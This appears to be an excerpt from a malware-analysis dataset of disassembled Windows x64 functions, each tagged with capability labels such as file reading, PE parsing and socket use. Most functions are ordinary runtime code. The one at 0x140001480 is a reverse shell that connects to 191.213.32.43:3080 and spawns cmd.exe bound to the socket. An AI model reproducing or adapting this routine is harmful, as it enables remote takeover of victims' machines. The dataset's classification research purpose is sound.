joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140019278
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x30
movsxd r15, ecx
lea r9, [0x140039150]
mov rax, r15
mov rbp, r15
and eax, 0x3f
sar rbp, 6
mov ecx, 4
xor esi, esi
mov r14, rdx
lea rdi, [rax + rax*8]
mov rax, qword [r9 + rbp*8]
lea r13d, [rcx + 6]
mov r10, qword [rax + rdi*8 + 0x28]
test r8, r8
je 0x1400192cf
cmp word [rdx], r13w
jne 0x1400192cf
or byte [rax + rdi*8 + 0x38], cl
jmp 0x1400192d4
and byte [rax + rdi*8 + 0x38], 0xfb
lea r8, [rdx + r8*2]
mov rbx, r14
cmp r14, r8
jae 0x1400193f9
mov r11d, 0xd
lea r12d, [r11 - 0xb]
movzx ecx, word [rdx]
cmp cx, 0x1a
je 0x14001941a
lea r9, [rdx + 2]
cmp cx, r11w
je 0x14001930d
mov rdx, r9
mov word [rbx], cx
jmp 0x140019334
cmp r9, r8
jae 0x140019344
cmp word [r9], r13w
mov rax, r12
mov ecx, 4
cmove rax, rcx
add rdx, rax
mov eax, r13d
cmp word [r9], r13w
cmovne ax, r11w
mov word [rbx], ax
mov rax, r12
add rbx, rax
cmp rdx, r8
jb 0x1400192ee
jmp 0x1400193f9
lea r9, [rsp + 0x80]
mov qword [rsp + 0x20], rsi
mov r8d, r12d
lea rdx, [rsp + 0x70]
mov rcx, r10
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1400193ee
cmp dword [rsp + 0x80], esi
je 0x1400193ee
lea r8, [0x140039150]
mov rax, qword [r8 + rbp*8]
test byte [rax + rdi*8 + 0x38], 0x48
je 0x1400193c6
movzx eax, word [rsp + 0x70]
cmp ax, r13w
jne 0x140019396
mov word [rbx], r13w
jmp 0x1400193f6
mov ecx, 0xd
mov word [rsp + 0x78], ax
mov word [rbx], cx
mov rax, qword [r8 + rbp*8]
lea rcx, [rax + rdi*8]
mov al, byte [rsp + rsi + 0x78]
mov byte [rcx + rsi + 0x3a], al
inc rsi
cmp rsi, r12
jl 0x1400193a3
mov rax, qword [r8 + rbp*8]
mov byte [rax + rdi*8 + 0x3c], r13b
jmp 0x1400193f6
cmp word [rsp + 0x70], r13w
jne 0x1400193d3
cmp rbx, r14
je 0x140019390
mov rdx, 0xfffffffffffffffe
mov ecx, r15d
lea r8d, [rdx + 3]
call fcn.140019ee0
cmp word [rsp + 0x70], r13w
je 0x1400193f9
mov ecx, 0xd
mov word [rbx], cx
add rbx, r12
sub rbx, r14
sar rbx, 1
lea eax, [rbx + rbx]
mov rbx, qword [rsp + 0x88]
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
lea r8, [0x140039150]
mov rdx, qword [r8 + rbp*8]
mov al, byte [rdx + rdi*8 + 0x38]
test al, 0x40
jne 0x1400193f3
or al, r12b
mov byte [rdx + rdi*8 + 0x38], al
jmp 0x1400193f9
Function at 0x14001dc5c
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x14001dc8c
xor eax, eax
jmp 0x14001dd4f
mov rbp, rbx
cmp word [rax], si
je 0x14001dcb1
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x14001dc98
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x14001dc94
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.14001c234
movsxd r14, eax
test eax, eax
jne 0x14001dcef
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x14001dc85
mov rcx, r14
call fcn.140019f84
mov rdi, rax
test rax, rax
jne 0x14001dd08
xor ecx, ecx
call fcn.14001785c
jmp 0x14001dce4
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.14001c234
test eax, eax
jne 0x14001dd39
mov rcx, rdi
call fcn.14001785c
jmp 0x14001dd43
xor ecx, ecx
call fcn.14001785c
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret

Function at 0x14002076c
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov esi, edx
mov ebx, ecx
call fcn.1400164a0
mov ecx, ebx
lea r8, [rsp + 0x30]
and ecx, 0x3ff
mov r9d, 2
bts ecx, 0xa
mov edx, 0x20000001
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
xor edx, edx
test eax, eax
je 0x14002080d
cmp ebx, dword [rsp + 0x30]
je 0x140020806
test esi, esi
je 0x140020806
mov r10, qword [rdi + 0x98]
mov r9d, edx
movzx r8d, word [r10]
lea rcx, [r10 + 2]
lea eax, [r8 - 0x41]
cmp ax, 0x19
jbe 0x1400207e1
sub r8w, 0x61
cmp r8w, 0x19
ja 0x1400207ee
movzx r8d, word [rcx]
inc r9d
add rcx, 2
jmp 0x1400207cb
or rax, 0xffffffffffffffff
inc rax
cmp word [r10 + rax*2], dx
jne 0x1400207f2
cmp r9d, eax
setne dl
mov eax, edx
jmp 0x14002080f
mov eax, 1
jmp 0x14002080f
xor eax, eax
mov rbx, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x1400236a8
Capabilities:
Clear file content

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov rbx, rdx
mov rsi, r8
xor edx, edx
mov r14d, ecx
lea r8d, [rdx + 1]
call fcn.140019ee0
xor edx, edx
mov ecx, r14d
mov r12, rax
lea r8d, [rdx + 2]
call fcn.140019ee0
mov rbp, rbx
sub rbp, rax
cmp r12, 0xffffffffffffffff
je 0x1400237f8
cmp rax, 0xffffffffffffffff
je 0x1400237f8
xor edi, edi
test rbp, rbp
jle 0x1400237a3
lea edx, [rdi + 1]
mov ecx, 0x1000
call fcn.140017e48
mov rbx, rax
test rax, rax
jne 0x140023730
lea edi, [rax + 0xc]
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], edi
jmp 0x140023799
mov edx, 0x8000
mov ecx, r14d
call fcn.140013cd0
mov r15d, eax
mov eax, 0x1000
mov r8d, ebp
cmp rbp, rax
mov r9, rsi
mov rdx, rbx
mov ecx, r14d
cmovge r8d, eax
call fcn.140017554
cmp eax, 0xffffffff
je 0x140023779
cdqe
sub rbp, rax
test rbp, rbp
jg 0x140023740
mov edx, r15d
mov ecx, r14d
call fcn.140013cd0
jmp 0x140023799
cmp byte [rsi + 0x38], dil
je 0x140023790
cmp dword [rsi + 0x34], 5
jne 0x140023790
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
cmp byte [rsi + 0x30], dil
je 0x140023799
mov edi, dword [rsi + 0x2c]
mov rcx, rbx
call fcn.14001785c
jmp 0x14002380c
jns 0x14002380c
xor r8d, r8d
mov rdx, rbx
mov ecx, r14d
call fcn.140019ee0
cmp rax, 0xffffffffffffffff
jne 0x1400237c4
cmp byte [rsi + 0x30], dil
je 0x14002380c
mov edi, dword [rsi + 0x2c]
jmp 0x14002380c
mov ecx, r14d
call fcn.14001e218
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x14002380c
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov byte [rsi + 0x38], 1
mov edi, 0xd
mov dword [rsi + 0x34], eax
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
jmp 0x14002380c
xor edi, edi
cmp byte [rsi + 0x30], dil
je 0x140023805
mov eax, dword [rsi + 0x2c]
jmp 0x14002380a
mov eax, 0x16
mov edi, eax
xor r8d, r8d
mov rdx, r12
mov ecx, r14d
call fcn.140019ee0
mov rbx, qword [rsp + 0x40]
mov eax, edi
mov rdi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop r12
ret
Function at 0x140001480
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create a process with modified i/o handles and window
Create process on windows
Create process suspended
Create tcp socket
Create udp socket
Initialize winsock library
Resolve dns

Disassembly:
push rbp
sub rsp, 0x160
lea rbp, [rsp + 0x80]
call dbg.__main
lea rax, [0x140007040]
mov rdx, rax
mov ecx, 0x202
mov rax, qword [sym.imp.WS2_32.dll_WSAStartup]
call rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 6
mov edx, 1
mov ecx, 2
mov rax, qword [sym.imp.WS2_32.dll_WSASocketA]
call rax
mov qword [0x1400071d8], rax
lea rax, str.191.213.32.43
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_gethostbyname]
call rax
mov qword [rbp + 0xd8], rax
mov rax, qword [rbp + 0xd8]
mov rax, qword [rax + 0x18]
mov rax, qword [rax]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.WS2_32.dll_inet_ntoa]
call rax
mov r8, rax
mov edx, 0x10
lea rax, str.191.213.32.43
mov rcx, rax
mov rax, qword [sym.imp.msvcrt.dll_strcpy_s]
call rax
mov word [0x1400071e0], 2
lea rax, str.3080
mov rcx, rax
call sym.atoi
movzx eax, ax
mov ecx, eax
mov rax, qword [sym.imp.WS2_32.dll_htons]
call rax
mov word [0x1400071e2], ax
lea rax, str.191.213.32.43
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_inet_addr]
call rax
mov dword [0x1400071e4], eax
mov rax, qword [0x1400071d8]
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x10
lea rdx, [0x1400071e0]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_WSAConnect]
call rax
mov r8d, 0x68
mov edx, 0
lea rax, [0x140007200]
mov rcx, rax
call sym.memset
mov dword [0x140007200], 0x68
mov dword [0x14000723c], 0x101
mov rax, qword [0x1400071d8]
mov qword [0x140007260], rax
mov rax, qword [0x140007260]
mov qword [0x140007258], rax
mov rax, qword [0x140007258]
mov qword [0x140007250], rax
movabs rax, 0x6578652e646d63
mov edx, 0
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
mov qword [rbp - 0x20], 0
mov qword [rbp - 0x18], 0
mov qword [rbp - 0x10], 0
mov qword [rbp - 8], 0
mov qword [rbp], 0
mov qword [rbp + 8], 0
mov qword [rbp + 0x10], 0
mov qword [rbp + 0x18], 0
mov qword [rbp + 0x20], 0
mov qword [rbp + 0x28], 0
mov qword [rbp + 0x30], 0
mov qword [rbp + 0x38], 0
mov qword [rbp + 0x40], 0
mov qword [rbp + 0x48], 0
mov qword [rbp + 0x50], 0
mov qword [rbp + 0x58], 0
mov qword [rbp + 0x60], 0
mov qword [rbp + 0x68], 0
mov qword [rbp + 0x70], 0
mov qword [rbp + 0x78], 0
mov qword [rbp + 0x80], 0
mov qword [rbp + 0x88], 0
mov qword [rbp + 0x90], 0
mov qword [rbp + 0x98], 0
mov qword [rbp + 0xa0], 0
mov qword [rbp + 0xa8], 0
mov qword [rbp + 0xb0], 0
mov qword [rbp + 0xb8], 0
mov qword [rbp + 0xbf], 0
mov qword [rbp + 0xc7], 0
lea rax, [rbp - 0x30]
lea rdx, [0x140007270]
mov qword [rsp + 0x48], rdx
lea rdx, [0x140007200]
mov qword [rsp + 0x40], rdx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 1
mov r9d, 0
mov r8d, 0
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
call rax
mov eax, 0
add rsp, 0x160
pop rbp
ret
Function at 0x14001112c
Capabilities:
Execute syscall

Disassembly:
jmp 0x140013401
mov r10, rcx
mov eax, dword [0x140023940]
syscall
ret

Function at 0x1400111f4
Capabilities:
Parse pe header

Disassembly:
jmp 0x140011df0
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x128
lea rbp, [rsp + 0x20]
lea rcx, [0x140029168]
call fcn.1400113c5
nop
mov rax, qword [rbp + 0x120]
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140011e32
xor eax, eax
jmp 0x140011e8b
mov rax, qword [rbp + 8]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rbp + 0x120]
add rcx, rax
mov rax, rcx
mov qword [rbp + 0x28], rax
mov rax, qword [rbp + 0x28]
cmp dword [rax], 0x4550
je 0x140011e5b
xor eax, eax
jmp 0x140011e8b
mov eax, 8
imul rax, rax, 0
mov rcx, qword [rbp + 0x28]
mov eax, dword [rcx + rax + 0x88]
mov rcx, qword [rbp + 0x120]
add rcx, rax
mov rax, rcx
mov rcx, qword [rbp + 0x128]
mov qword [rcx], rax
mov eax, 1
lea rsp, [rbp + 0x108]
pop rdi
pop rbp
ret

Function at 0x14001121c
Capabilities:
Terminate process

Disassembly:
jmp 0x140014850
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
nop
add rsp, 0x28
ret

Function at 0x1400112b7
Capabilities:
Parse pe header

Disassembly:
jmp 0x140015ba0
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140015bc0
xor al, al
jmp 0x140015c41
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140015bd3
xor al, al
jmp 0x140015c41
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x140015bfd
xor al, al
jmp 0x140015c41
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140015c11
xor al, al
jmp 0x140015c41
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140015c23
xor al, al
jmp 0x140015c41
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x140015c3f
xor al, al
jmp 0x140015c41
mov al, 1
add rsp, 0x38
ret
Function at 0x140011343
Capabilities:
Encrypt data using rc4 prga

Disassembly:
jmp 0x140011af0
mov dword [rsp + 0x20], r9d
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x128
lea rbp, [rsp + 0x20]
lea rcx, [0x1400290a3]
call fcn.1400113c5
nop
mov dword [rbp + 4], 0
jmp 0x140011b30
mov eax, dword [rbp + 4]
inc eax
mov dword [rbp + 4], eax
mov eax, dword [rbp + 0x138]
cmp dword [rbp + 4], eax
jge 0x140011b83
movsxd rax, dword [rbp + 4]
mov rcx, qword [rbp + 0x120]
movzx eax, byte [rcx + rax]
mov dword [rbp + 0xf4], eax
mov eax, dword [rbp + 4]
cdq
idiv dword [rbp + 0x130]
mov eax, edx
cdqe
mov rcx, qword [rbp + 0x128]
movzx eax, byte [rcx + rax]
mov ecx, dword [rbp + 0xf4]
xor ecx, eax
mov eax, ecx
movsxd rcx, dword [rbp + 4]
mov rdx, qword [rbp + 0x120]
mov byte [rdx + rcx], al
jmp 0x140011b28
mov eax, 1
imul rax, rax, 0
mov ecx, 1
imul rcx, rcx, 0
mov rdx, qword [rbp + 0x140]
mov r8, qword [rbp + 0x120]
movzx eax, byte [r8 + rax]
mov byte [rdx + rcx], al
mov dword [rbp + 0x24], 1
jmp 0x140011bbc
mov eax, dword [rbp + 0x24]
inc eax
mov dword [rbp + 0x24], eax
mov eax, dword [rbp + 0x138]
cdq
and edx, 3
add eax, edx
sar eax, 2
cmp dword [rbp + 0x24], eax
jge 0x140011bf4
mov eax, dword [rbp + 0x24]
shl eax, 2
cdqe
movsxd rcx, dword [rbp + 0x24]
mov rdx, qword [rbp + 0x140]
mov r8, qword [rbp + 0x120]
movzx eax, byte [r8 + rax]
mov byte [rdx + rcx], al
jmp 0x140011bb4
lea rsp, [rbp + 0x108]
pop rdi
pop rbp
ret
Function at 0x140013a90
Capabilities:
Terminate process

Disassembly:
sub rsp, 0x68
mov ecx, 1
call fcn.1400113ed
movzx eax, al
test eax, eax
jne 0x140013ab0
mov ecx, 7
call fcn.140011361
nop
mov byte [rsp + 0x20], 0
call fcn.140011375
mov byte [rsp + 0x21], al
cmp dword [0x1400241f8], 1
jne 0x140013ad4
mov ecx, 7
call fcn.140011361
nop
jmp 0x140013b2c
cmp dword [0x1400241f8], 0
jne 0x140013b27
mov dword [0x1400241f8], 1
lea rdx, [0x14001b660]
lea rcx, [0x14001b330]
call fcn.1400111c2
test eax, eax
je 0x140013b08
mov eax, 0xff
jmp 0x140013c31
lea rdx, [0x14001b220]
lea rcx, [section..rdata]
call fcn.14001136b
mov dword [0x1400241f8], 2
jmp 0x140013b2c
mov byte [rsp + 0x20], 1
movzx ecx, byte [rsp + 0x21]
call fcn.14001134d
call fcn.1400112da
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp qword [rax], 0
je 0x140013b89
mov rcx, qword [rsp + 0x30]
call fcn.140011168
movzx eax, al
test eax, eax
je 0x140013b89
mov rax, qword [rsp + 0x30]
mov rax, qword [rax]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x50], rax
xor r8d, r8d
mov edx, 2
xor ecx, ecx
mov rax, qword [rsp + 0x50]
call qword [0x14002a020]
nop
call fcn.14001130c
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
cmp qword [rax], 0
je 0x140013bbd
mov rcx, qword [rsp + 0x38]
call fcn.140011168
movzx eax, al
test eax, eax
je 0x140013bbd
mov rax, qword [rsp + 0x38]
mov rcx, qword [rax]
call fcn.1400113a7
nop
call fcn.140013ce0
mov dword [rsp + 0x28], eax
call fcn.1400112b7
movzx eax, al
test eax, eax
jne 0x140013bdc
mov ecx, dword [rsp + 0x28]
call fcn.140011055
nop
movzx eax, byte [rsp + 0x20]
test eax, eax
jne 0x140013beb
call fcn.1400113b1
nop
xor edx, edx
mov cl, 1
call fcn.140011154
mov eax, dword [rsp + 0x28]
jmp 0x140013c31
add rsp, 0x68
ret
Function at 0x140011393
Capabilities:
Terminate process

Disassembly:
jmp 0x14001b4d0
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret

Function at 0x140011488
Capabilities:
Parse pe header

Disassembly:
jmp 0x14001a380
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x14001a3a0
xor al, al
jmp 0x14001a421
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x14001a3b3
xor al, al
jmp 0x14001a421
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x14001a3dd
xor al, al
jmp 0x14001a421
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x14001a3f1
xor al, al
jmp 0x14001a421
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x14001a403
xor al, al
jmp 0x14001a421
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14001a41f
xor al, al
jmp 0x14001a421
mov al, 1
add rsp, 0x38
ret
Function at 0x1400114d3
Capabilities:
Hide graphical window

Disassembly:
jmp 0x140018370
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rsi
push rdi
sub rsp, 0x290
lea rbp, [rsp + 0x60]
lea rdi, [rsp + 0x60]
mov ecx, 0x5c
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x2b8]
mov rax, qword [0x140028040]
xor rax, rbp
mov qword [rbp + 0x220], rax
lea rcx, [0x14002e0d5]
call fcn.140011677
lea rax, [rbp + 8]
lea rcx, str.GameOfLifeClass
mov rdi, rax
mov rsi, rcx
mov ecx, 0x20
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x50]
mov rdi, rax
xor eax, eax
mov ecx, 0x48
rep stosb byte [rdi], al
lea rax, [0x14001139d]
mov qword [rbp + 0x58], rax
mov rax, qword [rbp + 0x250]
mov qword [rbp + 0x68], rax
lea rax, [rbp + 8]
mov qword [rbp + 0x90], rax
lea rcx, [rbp + 0x50]
call qword [sym.imp.USER32.dll_RegisterClassW]
mov qword [rsp + 0x58], 0
mov rax, qword [rbp + 0x250]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x40], 0
mov dword [rsp + 0x38], 0x603
mov dword [rsp + 0x30], 0x5ec
mov dword [rsp + 0x28], 0x80000000
mov dword [rsp + 0x20], 0x80000000
mov r9d, 0xc80000
lea r8, str.Conways_Game_of_Life
lea rdx, [rbp + 8]
xor ecx, ecx
call qword [sym.imp.USER32.dll_CreateWindowExW]
mov qword [rbp + 0xb8], rax
cmp qword [rbp + 0xb8], 0
jne 0x140018494
xor eax, eax
jmp 0x1400185bb
mov edx, dword [rbp + 0x268]
mov rcx, qword [rbp + 0xb8]
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, qword [rbp + 0xb8]
call qword [sym.imp.USER32.dll_UpdateWindow]
xor ecx, ecx
call fcn.1400186a0
mov ecx, eax
call qword [sym.imp.ucrtbased.dll_srand]
mov dword [rbp + 0xd4], 0
jmp 0x1400184dd
mov eax, dword [rbp + 0xd4]
inc eax
mov dword [rbp + 0xd4], eax
cmp dword [rbp + 0xd4], 0x96
jge 0x140018584
mov dword [rbp + 0xf4], 0
jmp 0x140018507
mov eax, dword [rbp + 0xf4]
inc eax
mov dword [rbp + 0xf4], eax
cmp dword [rbp + 0xf4], 0x96
jge 0x14001857f
call qword [sym.imp.ucrtbased.dll_rand]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x140018531
mov dword [rbp + 0x214], 1
jmp 0x14001853b
mov dword [rbp + 0x214], 0
movsxd rax, dword [rbp + 0xf4]
mov qword [rbp + 0x218], rax
movsxd rcx, dword [rbp + 0xd4]
mov rdx, rcx
lea rcx, [0x1400284c0]
call fcn.140011069
mov rcx, qword [rbp + 0x218]
mov rdx, rcx
mov rcx, rax
call fcn.14001137a
movzx ecx, byte [rbp + 0x214]
mov byte [rax], cl
jmp 0x1400184f9
jmp 0x1400184cf
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0x118]
call qword [sym.imp.USER32.dll_GetMessageW]
test eax, eax
je 0x1400185b9
lea rcx, [rbp + 0x118]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rbp + 0x118]
call qword [sym.imp.USER32.dll_DispatchMessageW]
jmp 0x140018584
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x60]
lea rdx, [0x140022da0]
call fcn.140011587
mov rax, rdi
mov rcx, qword [rbp + 0x220]
xor rcx, rbp
call fcn.14001131b
lea rsp, [rbp + 0x230]
pop rdi
pop rsi
pop rbp
ret
Function at 0x1400b398d
Capabilities:
Create thread

Disassembly:
jmp 0x140200680
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x148
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x16
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x168]
mov rax, qword [0x1405424c0]
xor rax, rbp
mov qword [rbp + 0x100], rax
lea rcx, [0x14055d51b]
call fcn.1400b5fb2
nop
mov edx, 8
lea rcx, [rbp + 8]
call fcn.1400b3dd4
mov rdx, qword [rbp + 0x138]
lea rcx, [rbp + 8]
call fcn.1400b477f
nop
lea rax, [0x1400b4f0e]
mov qword [rbp + 0x28], rax
mov rax, qword [rbp + 0x130]
add rax, 8
mov qword [rbp + 0xf8], rax
lea rcx, [rbp + 8]
call fcn.1400b5030
mov rcx, qword [rbp + 0xf8]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], 0
mov r9, rax
mov r8, qword [rbp + 0x28]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.ucrtbased.dll__beginthreadex]
mov rcx, qword [rbp + 0x130]
mov qword [rcx], rax
mov rax, qword [rbp + 0x130]
cmp qword [rax], 0
je 0x14020075c
lea rcx, [rbp + 8]
call fcn.1400b4446
nop
jmp 0x140200775
mov rax, qword [rbp + 0x130]
mov dword [rax + 8], 0
mov ecx, 6
call fcn.1400b3a7d
nop
lea rcx, [rbp + 8]
call fcn.1400b437e
nop
lea rcx, [rbp - 0x30]
lea rdx, [0x1402780d0]
call fcn.1400b57c4
mov rcx, qword [rbp + 0x100]
xor rcx, rbp
call fcn.1400b4707
lea rsp, [rbp + 0x118]
pop rdi
pop rbp
ret
Function at 0x1400b4a13
Capabilities:
Create process on windows

Disassembly:
jmp 0x14020bdc0
push rbp
push rdi
sub rsp, 0x208
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x4a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x1405424c0]
xor rax, rbp
mov qword [rbp + 0x1d8], rax
lea rcx, [0x14055d54f]
call fcn.1400b5fb2
nop
lea rcx, [rbp + 0x198]
call fcn.1400b5fc1
mov qword [rbp + 0x1c8], rax
mov rax, qword [rbp + 0x1c8]
mov qword [rbp + 0x1d0], rax
lea r8, str.medal_overlay.exe
mov rdx, qword [rbp + 0x1d0]
lea rcx, [rbp + 8]
call fcn.1400b4bfd
nop
lea rcx, [rbp + 0x198]
call fcn.1400b58d2
nop
mov dword [rbp + 0x50], 0x70
lea rax, [rbp + 0x54]
mov rdi, rax
xor eax, eax
mov ecx, 0x6c
rep stosb byte [rdi], al
lea rax, str.runas
mov qword [rbp + 0x60], rax
lea rcx, [rbp + 8]
call fcn.1400b4004
mov qword [rbp + 0x68], rax
mov dword [rbp + 0x80], 1
lea rcx, [rbp + 0x50]
call qword [sym.imp.SHELL32.dll_ShellExecuteExW]
test eax, eax
jne 0x14020beba
lea rdx, str.Failed_to_restart_application_with_admin_rights.
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400b3532
mov qword [rbp + 0x1c8], rax
lea rdx, [0x1400b3203]
mov rcx, qword [rbp + 0x1c8]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
lea rcx, [rbp + 8]
call fcn.1400b58d2
nop
lea rcx, [rbp - 0x20]
lea rdx, [0x140275d20]
call fcn.1400b57c4
mov rcx, qword [rbp + 0x1d8]
xor rcx, rbp
call fcn.1400b4707
lea rsp, [rbp + 0x1e8]
pop rdi
pop rbp
ret

Function at 0x1400b4a77
Capabilities:
Terminate process

Disassembly:
jmp 0x1402178c0
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
